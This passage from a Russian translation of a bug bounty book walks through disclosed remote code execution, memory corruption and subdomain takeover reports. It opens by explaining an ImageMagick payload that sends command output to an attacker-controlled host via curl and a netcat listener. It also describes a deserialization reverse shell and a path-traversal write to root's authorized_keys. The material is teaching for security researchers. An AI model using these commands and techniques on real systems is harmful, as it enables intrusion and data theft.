`id. В командной строке обратный апостроф обозначает ввод, который оболочка должна обработать перед выполнением основной команды. Благодаря
ей код Садегипура (описанный ниже) выполнялся в первую очередь.
Вертикальная черта (|) передала вывод от одной команды к другой. В данном
случае вывод id передался в curl http://SOMEIPADDRESS:8080/ -d @-. Библио­
тека cURL, предназначенная для выполнения удаленных HTTP-запросов,
обратилась к IP-адресу Садегипура в момент прослушивания порта 8080.
Флаг -d побудил cURL отправить данные в качестве POST-запроса. Символ @
заставил cURL использовать ввод без обработки. Дефис (-) сообщил о том,
что используется стандартный ввод. В конце код > /dev/null убрал любой вывод команды, чтобы он не попал в терминал уязвимого сервера. Это помогло
скрыть от жертвы факт нарушения безопасности.
Перед загрузкой файла Садегипур запустил сервер для прослушивания
HTTP-за­просов с помощью Netcat —утилиты для чтения и записи в сетевые
соединения. Он ввел команду nc -l -n -vv -p 8080, которая позволила записать POST-запросы к его серверу. Флаг -l включал режим прослушивания
(чтобы принимать запросы), -n предотвращал DNS-запросы, -vv активировал
расширенное ведение журнала, а -p 8080 определял используемый порт.
Садегипур проверил свой код на сайте Polyvore, принадлежащем Yahoo!. После
загрузки файла в качестве изображения он получил следующий POST-запрос,
в теле которого содержался результат выполнения команды id на сервере
Polyvore.
Connect to [REDACTED] from (UNKNOWN) [REDACTED] 53406
POST / HTTP/1.1
User-Agent: [REDACTED]
Host: [REDACTED]
Accept: /
Content-Length: [REDACTED]
Content-Type: application/x-www-form-urlencoded
uid=[REDACTED] gid=[REDACTED] groups=[REDACTED]

То есть загруженный Садегипуром MVG-файл был обработан, и уязвимый
веб-сайт выполнил команду id.

158   Глава 12. Удаленное выполнение кода

Выводы
Сведения о раскрытых уязвимостях помогают проверять новый код. Убедитесь,
что владельцы тестируемого сайта вовремя устанавливают обновления безо­
пасности. В некоторых программах Bug Bounty хакеров просят повременить
с сообщением о недостающих обновлениях. Воспроизведение уязвимостей на
собственном сервере позволяет проверить работу вредоносного кода.

Уязвимость RCE на сайте facebooksearch.
algolia.com
Сложность: высокая
URL: facebooksearch.algolia.com
Источник: hackerone.com/reports/134321/
Дата подачи отчета: 25 апреля 2016 года
Выплаченное вознаграждение: 500 долларов
Михель Принс исследовал сайт algolia.com с помощью утилиты Gitrob, которая принимает на вход репозиторий, имя пользователя или организацию на
GitHub и ищет связанные репозитории. Затем она проходится по каждому из
них в поиске чувствительных файлов, используя такие ключевые слова, как
password, secret, database и т. д.
Принс заметил, что администраторы сайта Algolia зафиксировали в публичном
репозитории значение secret_key_base, которое помогает Ruby on Rails защищаться от подмены подписанных куки. Это значение нельзя раскрывать, поэтому вместо него указывают переменную окружения ENV['SECRET_KEY_BASE'],
которую может прочитать только сервер. Применение secret_key_base особенно
важно, когда сайт Rails использует cookiestore для хранения информации о сессии в куки. Значение secret_key_base сайта Algolia по-прежнему доступно по
адресу github.com/algolia/facebook-search/commit/f3adccb5532898f8088f90eb57cf991e2d
499b49#diff-afe98573d9aad940bb0f531ea55734f8R12/ (но больше не действительно).
Когда фреймворк Rails подписывает куки, он добавляет к их значениям, закодированным в base64, цифровую подпись. Куки с подписью может выглядеть

Уязвимость RCE на сайте facebooksearch.algolia.com  159

так: BAh7B0kiD3Nlc3Npb25faWQGOdxM3M9BjsARg%3D%3D--dc40a55cd52fe32bb3b8. Rails
проверяет подпись, указанную после двойного дефиса, чтобы подтвердить,
что первая часть куки не была изменена. Rails по умолчанию управляет
сессиями веб-сайта с помощью куки и их подписей. В куки можно добавить
информацию о пользователе, которая будет считываться сервером в ходе
передачи куки вместе с HTTP-запросом. Поскольку куки сохраняются на
компьютере посетителя, цифровая подпись гарантирует их оригинальность.
При чтении куки cookiestore сериализует и десериализует данные, которые
в них хранятся.
Сериализацией называют перевод объектов и данных в состояние, удобное
для их передачи и восстанавления. Чтение сериализованных куки требует их
десериализации, которая часто приводит к уязвимостям RCE.
ПРИМЕЧАНИЕ
Больше о десериализации можно узнать из презентации Маттиаса Кайзера
Exploiting Deserialization Vulnerabilities in Java (www.youtube.com/watch?v=VviY3OeuVQ/) и из выступления Альваро Муньоса и Александра Мироша Friday the 13th
JSON attacks (www.youtube.com/watch?v=ZBfBYoK_Wr0).

Знание секретного ключа к Rails позволило Принсу создать свои корректные
сериализованные объекты и проверить их десериализацию.
Принс использовал эксплойт под названием Rails Secret Deserialization из
пакета Metasploit Framework, чтобы обострить найденную уязвимость до
RCE. Этот эксплойт создает куки, в случае успешной десериализации которых
запускается обратная командная оболочка. Принс послал вредоносные куки
на сайт Algolia и получил доступ к командной строке на уязвимом сервере.
Чтобы это продемонстрировать, он выполнил команду id, которая вернула
uid=1000(prod) gid=1000(prod) groups=1000(prod). Для дополнительной иллюстрации уязвимости он создал на сервере файл hackerone.txt.

Выводы
Использовать уязвимости в процедуре десериализации лучше с помощью
инструментов, таких как Rails Secret Deserialization от Rapid7 для устаревших
версий Rails или ysoserial от Криса Фрохоффа для Java.

160   Глава 12. Удаленное выполнение кода

Атака RCE через SSH
Сложность: высокая
URL: нет
Источник: blog.jr0ch17.com/2018/No-RCE-then-SSH-to-the-box/
Дата подачи отчета: осень 2017 года
Выплаченное вознаграждение: не разглашается
Если интересующий вас сайт предоставляет обширную область для тестирования, обнаружение ресурсов лучше автоматизировать, а затем уже искать
уязвимости. Жасмин Лэндри создал список поддоменов и открытых портов
на веб-сайте с помощью Sublist3r, Aquatone и Nmap и нашел их сотни. Затем
через EyeWitness он сделал снимок экрана для каждого из них и визуально
определил интересные веб-сайты.
Он увидел старую открытую систему управления содержимым, с которой не
был знаком. Учетные данные admin:admin позволили ему войти в ее пустой
сайт, а анализ открытого исходного кода показал, что приложение выполнялось на сервере от имени администратора. В случае взлома приложения
злоумышленник получил бы неограниченный доступ к серверу, и Лэндри
перешел к дальнейшим действиям.
Поиск известных проблем с безопасностью не дал результатов, что было необычно для старого ПО с открытым кодом. Лэндри нашел ряд менее серьезных
проблем, включая XSS, CSRF, XXE и раскрытие локального файла (возможность читать произвольные файлы на сервере). Все эти уязвимости указывали
на потенциальное существование RCE.
Затем Лэндри заметил конечную точку API-интерфейса, с помощью которой
пользователи могли обновлять файлы шаблонов. Она имела путь /api/i/services/
site/write-configuration.json?path=/config/sites/test/page/test/config.xml и принимала
XML в теле POST-запроса. Возможность записывать файлы и определять путь
к ним является крайне подозрительной. Лэндри поменял путь на ../../../../../../.
./../../../../../tmp/test.txt. Точка и слеш — это ссылка на предыдущую директорию
относительно текущего пути. Например, если мы имеем путь /api/i/services,

Итоги  161

точка и слеш будут указывать на /api/i. Пользуясь этим, Лэндри мог выполнять
запись в любую директорию.
Он загрузил собственный файл, но конфигурация приложения не позволила
ему выполнить код. Тогда Лэндри вспомнил, что безопасная сетевая оболочка
(Secure Socket Shell, или SSH) может аутентифицировать пользователей с помощью публичных SSH-ключей. SSH-доступ — это типичный способ администрирования удаленного сервера: он устанавливает безопасное соединение
с командной строкой, проверяя подлинность публичных ключей на сетевом
узле в директории .ssh/authorized_keys.
Он произвел успешную запись в файл ../../../../../../../../../../../../root/.ssh/authorized_
keys, зашел на сервер по SSH и выполнил команду id, вывод которой подтвердил, что он завладел администраторской учетной записью: uid=0(root)
gid=0(root) groups=0(root).

Выводы
При обширном поиске уязвимостей составьте список поддоменов.

Итоги
Как и многие другие уязвимости, обсуждаемые в этой книге, RCE возникает
в результате использования пользовательского ввода без надлежащей предварительной обработки. Чтобы найти эту уязвимость, Садегипур воссоздал
ее на собственном сервере, Принс обнаружил секретный ключ для подделки
подписанных куки, а Лэндри сохраненил собственные SSH-ключи.

13

Уязвимости памяти

Любому приложению для хранения и выполнения кода нужна память. Уязвимости, рассмотренные в этой главе, основаны на ошибках в механизмах
работы с памятью.
Такие уязвимости характерны для C, C++ и других языков, в которых памятью
управляют разработчики. Память в языках вроде Ruby, Python, PHP и Java
менее подвержена атакам.
В C или C++ перед выполнением динамического действия разработчик должен добыть подходящий объем памяти. Представьте, что вы пишете динамическое банковское приложение, которое позволяет клиентам импортировать
транзакции. На момент его запуска вы не знаете, сколько транзакций будет
импортировано, и должны проверить их количество, чтобы выделить для них
помять подходящего размера. Это может привести к переполнению буфера.
Поиску и эксплуатации уязвимостей памяти посвящены целые книги, такие
как «Хакинг: искусство эксплойта»1 или A Bug Hunter’s Diary: A Guided Tour
Through the Wilds of Software Security Тобиаса Клейна (доступна на сайте издательства No Starch Press). Данная глава станет введением, охватывающим
1

Эриксон Д. Хакинг : искусство эксплойта / Пер. с англ. И. Рузмайкина. — 2-е изд. — СПб:
Питер, 2018. — 493 с. — ил. — (Серия «Библиотека программиста»)

Переполнение буфера  163

всего две уязвимости этого типа: переполнение буфера и чтение вне допустимого диапазона.

Переполнение буфера
Уязвимость переполнения буфера возникает, когда для данных выделено недостаточное количество памяти (буфера). В лучшем случае это вызывает непредвиденное поведение программы, а в худшем — создает серьезные дыры в безопасности.
Переполнение буфера обычно происходит из-за того, что разработчики забывают проверять размер данных, записываемых в переменные, или неверно
вычисляют объем памяти. Рассмотрим пропуск проверки длины. В языке
программирования C это обычно случается при использовании функций
для изменения памяти, таких как strcpy() и memcpy(). Но эти проверки могут
требоваться и в ходе выделения памяти с помощью malloc() или calloc().
Функция strcpy() (как и memcpy()) принимает два параметра: буфер и данные,
которые в него нужно скопировать. Вот пример на C:
#include
int main()
{
 char src[16]="hello world";
 char dest[16];
 strcpy(dest, src);
 printf("src is %s\n", src);
printf("dest is %s\n", dest);
return 0;
}

Переменной src присвоена строка "hello world" длиной 11 символов,
включая пробел. Этот код выделяет для src и dest  16 байт (по одному байту для каждого символа). Строка "hello world", как и любая другая, должна
оканчиваться нулевым байтом (\0), поэтому для нее требуется 12 байт. Затем
функция strcpy() берет строку из src и копирует ее в dest . Инструкция
printf в строке  выводит следующее:
src is hello world
dest is hello world

164   Глава 13. Уязвимости памяти

Этот код работает так, как мы ожидали. Но что, если сделать это приветствие
более выразительным?
#include
#include
int main()
{
 char src[17]="hello world!!!!!";
 char dest[16];
 strcpy(dest, src);
printf("src is %s\n", src);
printf("dest is %s\n", dest);
return 0;
}

Пять знаков восклицания увеличили общее число символов в строке до 16.
Разработчик помнил, что в C все строки должны оканчиваться нулевым байтом
(\0). Он выделил 17 байт для src , но забыл сделать то же самое для dest .
После компиляции и запуска программы получился следующий вывод:
src is
dest is hello world!!!!!

Несмотря на присваивание 'hello world!!!!!', переменная src оказалась
пустой. Это связано с процессом выделения стека в C. В стеке адреса назначаются последовательно, поэтому, если у нас есть две переменные, меньший по
числу символов адрес будет иметь та из них, которая была объявлена раньше.
На рис. 13.1 проиллюстрировано состояние стека по мере выполнения каждой
строки кода от  до .
В первой части рис. 13.1 переменная src попадает в стек, и ей выделяется 17 байт с порядковыми номерами, начиная с 0 . Затем в стек добавляется
переменная dest, но ей выделено лишь 16 байт . Когда src копируется в dest,
последний байт, предназначенный для dest, не помещается и становится первым байтом src  (под номером 0).
Если добавить к src еще один восклицательный знак и увеличить длину до 18,
получится такой вывод:
src is !
dest is hello world!!!!!

Переполнение буфера  165

src

h e l l o
w o r l d ! ! ! ! ! \0
Память 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
(байт)

dest
src

h e l l o
w o r l d ! ! ! ! ! \0
Память 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
(байт)

dest
src

h e l
\0 e l

l
l

o
o

w o r
w o r

l
l

d !
d !

!
!

!
!

!
!

!
! \0

Память 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
(байт)
Рис. 13.1. Как избыточная память попадает из dest в src

На рис. 13.2 показано, какой вид приобрела память.
dest
src

h e l
! \0 l

l
l

o
o

w o r
w o r

l
l

d !
d !

!
!

!
!

!
!

!
!

! \0
Память 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
(байт)
Рис. 13.2. Два символа переходят из dest в src

Но что, если разработчик забудет о нулевом байте о оставит длину строки без
изменения:
#include
#include
int main ()
{
char src [12]="hello world!";
char dest[12];
strcpy(dest, src);
printf("src is %s\n", src);
printf("dest is %s\n", dest);
return 0;
}

166   Глава 13. Уязвимости памяти

Разработчик выделил для строк src  и dest  по 12 байт. Остальной код программы, как и прежде, скопировал содержимое src в dest и вывел результат.
Представим запуск этой программы на 64-битном процессоре.
Можно предположить, что src станет пустой строкой. Однако вывод программы будет следующим:
src is hello world!
dest is hello world!

Переполнения буфера не произошло. 64-битный процессор не может выделить
меньше 16 байт памяти (по принципу выравнивания памяти). В 32-битных
системах этот показатель равен 8 байтам. Поскольку для строки hello world!
нужно всего 13 байт, включая нулевой, переменная dest, которой выделено 16 байт, не переполнится.

Чтение вне допустимого диапазона
Уязвимость к чтению вне допустимого диапазона может открыть злоумышленнику доступ к данным за пределами выделенного адресного пространства.
Если для выполнения какого-то действия приложение считывает слишком
много памяти, может произойти потеря конфиденциальной информации.
Знаменитым примером этой уязвимости является ошибка OpenSSL Heartbleed.
OpenSSL — это программная библиотека, позволяющая серверным приложениям взаимодействовать в сети, не опасаясь потери пакетов. С ее помощью
приложение может идентифицировать сервер на другом конце соединения.
Эксплойт Heartbleed позволял злоумышленникам считывать произвольные
данные, такие как закрытые ключи, данные сессии, пароли и т. д. Для этого
использовалась идентификация серверов в OpenSSL.
Эта атака эксплуатирует механизм «сердцебиения» OpenSSL: один сервер
периодически отправляет сообщения другому, а тот возвращает их обратно.
В запросах могла быть указана их длина, которая стала причиной уязвимости. Серверы OpenSSL выделяли память для ответного сообщения сервера,
руководствуясь параметром длины из запроса, а не учитывая реальный размер
возвращаемых данных.

Целочисленное переполнение в PHP‑­функ­ции ftp_genlist()  167

Злоумышленник мог отправить запрос с увеличенным параметром длины: например, вместо 100 байт данных сообщения указать в запросе 1000 байт. Сервер,
получивший это сообщение, считывал 100 байт с данными и еще 900 байт случайного адресного пространства. Наполнение этого пространства зависело от исполняемого процесса сервера и компоновки памяти в момент обработки запроса.

Целочисленное переполнение в PHP‑­функ­ции
ftp_genlist()
Сложность: высокая
URL: нет
Источник: bugs.php.net/bug.php?id=69545/
Дата подачи отчета: 28 апреля 2015 года
Выплаченное вознаграждение: 500 долларов
Макс Спелсберг обнаружил переполнение буфера в расширении PHP для
работы с FTP.
Это расширение читает входящие данные, такие как файлы, чтобы отслеживать
размер и количество строк, полученных функцией ftp_genlist(). Переменные
для хранения этих показателей инициализировались в виде беззнаковых целых
чисел. В 32-битной системе ввод беззнакового целого числа, вмещающего более 232 байт (4 294 967 295 байт, или 4 Гб), приводит к переполнению буфера.
В демонстрации Спелсберг предоставил PHP-код для запуска FTP-сервера
и код на Python для подключения к нему. Установив соединение, его Python-клиент отправлял FTP-серверу 232 + 1 байт, используя сетевой сокет.
FTP-сервер выходил из строя, так как Спелсберг перезаписывал память как
в примере с переполнением буфера.

Выводы
Переполнение буфера характерно для приложений с ручным управлением памятью. Ищите участки кода, в которых пропущена проверка длины переменной.

168   Глава 13. Уязвимости памяти

Модуль Python hotshot
Сложность: высокая
URL: нет
Источник: bugs.python.org/issue24481
Дата подачи отчета: 20 июня 2015 года
Выплаченное вознаграждение: 500 долларов
Модуль hotshot в Python позволяет узнать, как часто и насколько долго выполняются разные участки программы. Джон Лейч обнаружил в его коде
переполнение, которое позволяло злоумышленнику скопировать строку из
одного адреса памяти в другой.
Уязвимый код вызывал метод memcpy(), копирующий заданное количество
байтов между двумя участками памяти. Например, так:
memcpy(self->buffer + self->index, s, len);

Метод memcpy() принял три параметра: конечный адрес, исходный адрес и число
копируемых байтов. Здесь это переменные self->buffer + self->index (совокупная длина буфера и индекса), s и len соответственно.
Конечная переменная self->buffer имела фиксированную длину, но источник
s мог быть любого размера. Это означало, что при выполнении копирования
метод memcpy() не проверял размер буфера, в который он делал запись. Злоумышленник мог передать строку, которая превышала количество байтов,
выделяемых для копирования. Строка сохранялась по конечному адресу,
переполняла буфер и выходила за его пределы, перезаписывая какой-то другой участок памяти.

Выводы
Проверьте, корректно ли функции strcpy() и memcpy()проверяют длину буфера.
Подтвердите, что у вас есть возможность контролировать исходную и конечную
переменные для переполнения выделяемой памяти.

Чтение вне допустимого диапазона в libcurl  169

Чтение вне допустимого диапазона в libcurl
Сложность: высокая
URL: нет
Источник: curl.haxx.se/docs/adv_20141105.html
Дата подачи отчета: 5 ноября 2014 года
Выплаченное вознаграждение: 1000 долларов
Libcurl — это свободная клиентская библиотека загрузки данных по сети. Она

лежит в основе утилиты командной строки cURL. Симеон Парашудис нашел
уязвимость в ее функции curl_easy_duphandle.
В libcurl можно указать флаг CURLOPT_POSTFIELDS, чтобы данные передавались
методом POST, и флаг CURLOPT_COPYPOSTFIELDS, предотвращающий подмену
данных в процессе их передачи путем их копирования и отправки копии вместе с POST-запросом. Размер участка памяти, в который копируются данные,
устанавливается с помощью переменной CURLOPT_POSTFIELDSIZE.
В ходе копирования данных cURL выделяет память. Однако у функции curl_
easy_duphandle, занимающейся дублированием, есть две проблемы. Во-первых,
в результате некорректного копирования содержимого POST-запроса libcurl
воспринимала его буфер как строку C, предполагая, что в конце у него должен
быть нулевой байт, и считывала буфер до тех пор, пока нулевой байт не был
обнаружен, даже если приходилось выйти за пределы выделенной памяти.
Таким образом строка оказывалась слишком короткой (если нулевой байт
находится в середине тела запроса) или слишком длинной. Во-вторых, после
дублирования данных библиотека libcurl не обновляла информацию о том,
откуда эти данные нужно читать, поэтому в промежутке между дублированием
и чтением буфера память могла быть очищена или выделена для других целей,
которыми мог воспользоваться злоумышленник.

Выводы
В cURL тоже встречаются ошибки. Участки кода, связанные с копированием
памяти, могут служить отправной точкой для поиска уязвимостей, который
лучше начинать с функций, подверженных ошибкам.

170   Глава 13. Уязвимости памяти

Итоги
Уязвимости памяти могут позволить злоумышленнику считывать данные
или выполнять собственный код, однако их сложно найти. Современные
языки программирования с автоматизированным выделением памяти не так
сильно подвержены подобным проблемам. Тем не менее многие программы
по-прежнему пишутся на языках, которые требуют от разработчиков ручного
управления памятью. Для выявления уязвимостей этого типа вы должны понимать, как работает память. Если вас заинтересовали такого рода эксплойты,
советую почитать книги, которые целиком посвящены этой теме.

14

Захват поддомена

Захват поддомена позволяет злоумышленнику распространять собственный
контент или перехватывать трафик на чужом сайте.

Доменные имена
Домен — это URL-адрес для доступа к веб-сайту. Он привязывается к IP-адресу
с помощью DNS-серверов. В его иерархической структуре отдельные части
разделяются точками, а заключительный элемент (крайний справа) называется доменом верхнего уровня. Примерами таких доменов являются .com, .ca,
.info и т. д. Левее идет доменное имя. Эта часть иерархии предназначена для
доступа к веб-сайту. Например, .com является зарегистрированным
доменным именем с доменом верхнего уровня .com.
Поддомены составляют крайнюю левую часть URL-адреса и могут принадлежать разным веб-сайтам в одном и том же зарегистрированном домене. Например, компания Example создала веб-сайт, но при этом ей нужен отдельный
адрес для электронной почты. Она может использовать два разных поддомена
с разным контентом: www..com и webmail..com.
Для создания поддоменов владельцы сайта могут использовать несколько
методов, например добавление в описание доменного имени одной из двух

172   Глава 14. Захват поддомена

записей: A или CNAME. Запись A привязывает имя сайта к одному или нескольким IP-адресам. Уникальная запись CNAME связывает два домена. Право
создавать DNS-записи есть только у администратора сайта.

Как происходит захват поддомена
Поддомен считается захваченным, если пользователь контролирует IP- и URLад­реса, на которые указывает запись A или запись CNAME. Пример: создав
новое приложение, разработчик размещал его в Heroku и создавал запись
CNAME, указывающую на поддомен главного сайта Example. Эта ситуация
выходила из-под контроля, если:
1. Компания Example регистрировала учетную запись на платформе Heroku,
не используя SSL.
2. Heroku назначал новому сайту компании Example поддомен unicorn457.
herokuapp.com.
3. Компания Example создавала на странице своего DNS-провайдера запись CNAME, согласно которой поддомен test..com ссылался на
unicorn457.herokuapp.com.
4. Через несколько месяцев компания Example решала убрать поддомен
test..com, закрывала свою учетную запись в Heroku и удаляла свой
сайт с серверов платформы. Но запись CNAME оставалась.
5. Недоброжелатель замечает, что запись CNAME ссылается на незарегистрированный URL-адрес на платформе Heroku, и забирает себе поддомен
unicorn457.heroku.com.
6. Некто публикует контент в домене test..com, который благодаря
своему URL-адресу выглядит как настоящий сайт компании Example.
Последствия от захвата поддомена зависят от его конфигурации и настроек
родительского домена. Например, в своей презентации Web Hacking Pro Tips
#8 (www.youtube.com/watch?v=76TIDwaxtyk) Арне Свиннен описывает способы
группирования куки для передачи только подходящих доменов. Но если
указать в качестве поддомена одну точку, например, ..com, браузер
отправит куки .com любому поддомену компании Example, который
посещает пользователь. Контролируя адрес test..com, хакер может

Захват поддомена Ubiquiti  173

похитить куки .com у жертвы, которая заходит на захваченный поддомен test..com.
Но даже если куки не сгруппированы таким образом, злоумышленник все равно
может создать поддомен, имитирующий родительский сайт. Разместив в этом
поддомене форму входа, он может заставить пользователей передать ему свои
учетные данные. Эта уязвимость делает возможными два распространенных вида
атак, но есть и другие методы взлома, такие как перехват электронных писем.
Чтобы найти уязвимости с захватом поддоменов, проанализируйте DNS-записи
сайта с помощью инструмента KnockPy, который ищет в поддоменах типичные
для таких уязвимостей сообщения об ошибках, возвращаемых сервисами вроде
S3. KnockPy поставляется со списком распространенных доменных имен, которые стоит проверить, но вы можете его дополнить. Аналогичный список можно
найти в GitHub-репозитории SecLists (https://github.com/danielmiessler/SecLists/).

Захват поддомена Ubiquiti
Сложность: низкая
URL: http://assets.goubiquiti.com/
Источник: hackerone.com/reports/109699/
Дата подачи отчета: 10 января 2016 года
Выплаченное вознаграждение: 500 долларов
Amazon Simple Storage (или S3) — это сервис хранения файлов, входящий
в состав Amazon Web Services (AWS). Учетная запись в S3 имеет вид бакета,
с которым можно работать через URL-адрес AWS, начинающийся с имени
учетной записи. Для URL-адресов своих бакетов Amazon использует глобальное пространство имен, поэтому каждый зарегистрированный бакет является
уникальным. Например, если я зарегистрирую бакет , он будет иметь
URL-адрес .s3.amazonaws.com, и владеть им буду только я. Но и злоумышленник может подобрать себе любой свободный бакет S3.
Компания Ubiquiti создала для сайта assets.goubiquiti.com запись CNAME и привязала ее к бакету S3 uwn-images, доступному по адресу uwn-images.s3.website.

174   Глава 14. Захват поддомена

us-west-1.amazonaws.com. Поскольку серверы Amazon разбросаны по всему миру,

этот URL-адрес содержал информацию о географическом регионе, в котором
был размещен бакет, —. us-west-1 (Северная Калифорния).
Этот бакет либо не был зарегистрирован, либо компания Ubiquiti удалила
его из своей учетной записи AWS, не убрав при этом запись CNAME, но при
посещении assets.goubiquiti.com браузер пытался получить содержимое из S3.
Хакер забрал себе этот бакет и сообщил об уязвимости.

Выводы
Обращайте внимание на DNS-записи, которые указывают на сторонние сервисы, такие как S3. В случае обнаружения таких записей проверьте, правильно
ли компания сконфигурировала этот сервис. Помимо этого, вы можете непрерывно отслеживать записи и сервисы с помощью автоматизированных
инструментов наподобие KnockPy — на случай, если компания удалит поддомен, но забудет обновить настройки DNS.

Поддомен Scan.me, ссылающийся на Zendesk
Сложность: низкая
URL: http://support.scan.me/
Источник: hackerone.com/reports/114134/
Дата подачи отчета: 2 февраля 2016 года
Выплаченное вознаграждение: 1000 долларов
Платформа Zendesk предоставляет службу клиентской поддержки в поддоменах веб-сайтов. Например, если бы ее использовала компания Example, этот
поддомен мог бы выглядеть как support..com.
Как и в предыдущем примере, владельцы сайта scan.me создали запись CNAME,
которая привязывала support.scan.me к scan.zendesk.com. Позже сервис scan.me
был приобретен компанией Snapchat. Незадолго до оформления сделки поддомен support.scan.me был удален из Zendesk, но его запись CNAME осталась.

Захват поддомена windsor на сайте Shopify  175

Обнаружив это, хакер под псевдонимом harry_mg зарегистрировал сайт scan.
zendesk.com и опубликовал на нем свой контент, используя платформу Zendesk.

Выводы
В процессе интеграции между родительской и дочерней компаниями некоторые поддомены могут удаляться. Если администраторы забывают обновить
DNS-записи, появится угроза захвата поддоменов. Поскольку поддомен может
поменяться в любой момент, непрерывное отслеживание информации о записях начните сразу после объявления о покупке компании.

Захват поддомена windsor на сайте Shopify
Сложность: низкая
URL: http://windsor.shopify.com/
Источник: hackerone.com/reports/150374/
Дата подачи отчета: 10 июля 2016 года
Выплаченное вознаграждение: 500 долларов
Захват поддомена не всегда подразумевает регистрацию учетной записи в стороннем сервисе. Хакер zseano обнаружил, что компания Shopify создала запись
CNAME для windsor.shopify.com, которая указывала на aislingofwindsor.com. Он узнал
об этом в ходе поиска всех поддоменов Shopify на сайте crt.sh, который отслеживает все зарегистрированные SSL-сертификаты и связанные с ними поддомены.
Эта информация является публичной, так как любой SSL-сертификат должен
быть выдан центром сертификации, чтобы браузеры могли подтвердить его
подлинность при посещении сайта. Сайты также могут регистрировать так называемые wildcard-сертификаты, которые предоставляют SSL-защиту для всех их
поддоменов (на crt.sh в таких случаях вместо поддомена указывается звездочка).
Когда веб-сайт регистрирует wildcard-сертификат, crt.sh не может определить,
для какого поддомена он предназначен, но показывает его уникальный хеш.
Сервис censys.io отслеживает хеши сертификатов и поддомены, в которых они
используются, сканируя интернет. Если поискать на censys.io хеш wildcardсертификата, можно обнаружить новые поддомены.

176   Глава 14. Захват поддомена

Пролистывая список поддоменов на crt.sh и посещая каждый из них, zseano
заметил, что сайт windsor.shopify.com возвращал ошибку «404 Page not Found».
То есть либо сайт был пустым, либо больше не принадлежал aislingofwindsor.
com. Чтобы проверить второй вариант, zseano посетил сервис регистрации
доменных имен и попробовал найти aislingofwindsor.com. Оказалось, что этот
домен можно было купить за 10 долларов. Сделав это, zseano сообщил представителям Shopify об уязвимости с захватом поддомена.

Выводы
Если вы найдете поддомен, который указывает на другой сайт и возвращает
ошибку 404, проверьте, доступен ли этот сайт для регистрации. Сервис crt.sh
может послужить отправной точкой в идентификации поддомена. Если вы
обнаружите там wildcard-сертификат, поищите его хеш на censys.io.

Захват поддомена fastly на сайте Snapchat
Сложность: средняя
URL: http://fastly.sc-cdn.net/takeover.html
Источник: hackerone.com/reports/154425/
Дата подачи отчета: 27 июля 2016 года
Выплаченное вознаграждение: 3000 долларов
Fastly — это сеть доставки содержимого (content delivery network, или CDN).
Она хранит копии содержимого на серверах по всему миру, чтобы они были
как можно ближе к пользователям, которые их запрашивают.
Хакер Ибраитас сообщил компании Snapchat о неправильной конфигурации
DNS для ее домена sc-cdn.net. У URL-адреса http://fastly.sc-cdn.net была запись
CNAME, которая ссылалась на поддомен fastly. Последний принадлежал
Snapchat, но не был корректно зарегистрирован. В то время сервис Fastly давал возможность регистрировать пользовательские поддомены при условии
шифрования трафика с помощью TLS, для чего использовался общий wildcardсертификат Fastly. В случае неправильной конфигурации пользовательского

Захват поддомена на сайте Legal Robot  177

поддомена на сайте выводилось сообщение об ошибке: «Fastly error: unknown
domain: . Please check that this domain has been added to
a service» (Неизвестный домен: . Пожалуйста, убедитесь в том, что этот домен был добавлен к сервису).
Прежде чем сообщить о проблеме, Ибраитас поискал домен sc-cdn.net на сайте
censys.io и подтвердил его принадлежность компании Snapchat по сведениям
о регистрации его SSL-сертификата. Затем он настроил сервер для получения
трафика с этого URL-адреса и показал, что домен на самом деле использовался.
Специалисты Snapchat подтвердили, что небольшая доля посетителей продолжала пользоваться старой версией их приложения, которая запрашивала
с этого поддомена неаутентифицированное содержимое. Пользовательская
конфигурация была обновлена со ссылкой на другой URL-адрес. Теоретически на протяжении короткого отрезка времени злоумышленник мог раздавать
пользователям с этого поддомена вредоносные файлы.

Выводы
Ищите сайты, ссылающиеся на сервисы, которые возвращают сообщения
об ошибках. Найдя такую ошибку, почитайте документацию сервиса и разберитесь в том, как он используется. Затем попробуйте найти некорректную
конфигурацию, с помощью которой можно захватить поддомен.

Захват поддомена на сайте Legal Robot
Сложность: средняя
URL: https://api.legalrobot.com/
Источник: hackerone.com/reports/148770/
Дата подачи отчета: 1 июля 2016 года
Выплаченное вознаграждение: 100 долларов
Даже когда поддомен стороннего сервиса имеет корректную конфигурацию,
сам сервис может быть настроен неправильно. Франс Розен сообщил компании

178   Глава 14. Захват поддомена

Legal Robot, что DNS-запись CNAME для поддомена api.legalrobot.com указывала
на сайт Modulus.io, который он мог захватить.
После обнаружения страницы с ошибкой хакер должен был посетить сервис
и зарегистрировать поддомен. Но в случае с api.legalrobot.com это не увенчалось
успехом: компания Legal Robot уже владела этим сайтом.
Не сдавшись, Розен попробовал зарегистрировать wildcard-поддомен *.legalrobot.
com, который оставался доступным. Конфигурация сайта Modulus отдавала
приоритет wildcard-поддоменам перед более подробными записями, среди
которых была и api.legalrobot.com. В результате, как видно на рис. 14.1, Розену
удалось разметить на сайте api.legalrobot.com свое собственное содержимое.

Рис. 14.1. Исходный код HTML-страницы, демонстрирующий захват поддомена
Франсом Розеном

Обратите внимание на содержимое, размещенное Розеном на рис. 14.1. Вместо
того чтобы пристыдить владельцена сайта и заявить о захвате поддомена, он
использовал скромную текстовую страницу с HTML-комментарием, который
подтверждал, что этот текст разместил именно он.

Выводы
Когда сайт использует сторонние сервисы для размещения поддомена, он полагается на механизмы безопасности этих сервисов. Не забывайте о том, что
в случае успешного захвата поддомена демонстрацию лучше делать осторожно.

Захват поддомена с почтовым сервисом
SendGrid на сайте Uber
Сложность: средняя
URL: https://em.uber.com/

Захват поддомена с почтовым сервисом SendGrid на сайте Uber  179

Источник: hackerone.com/reports/156536/
Дата подачи отчета: 4 августа 2016 года
Выплаченное вознаграждение: 10 000 долларов
SendGrid — это облачный сервис электронной почты. На момент написания
книги одним из его клиентов была компания Uber. Просматривая DNS-кон­
фигурацию сайта Uber, хакер Роян Риял заметил запись CNAME для em.uber.
com, которая указывала на SendGrid.
Риял проверил, позволяет ли этот сервис размещать содержимое, но подтверждения не нашел. Погрузившись в документацию SendGrid, Риял нашел белый
список — механизм, с помощью которого интернет-провайдеры убеждались,
что домен сайта разрешает сервису SendGrid отправлять электронные письма
от его имени. Это разрешение выдавалось путем создания записей MX (mail
exchanger), ссылающихся на SendGrid. MX — это разновидность DNS-записей,
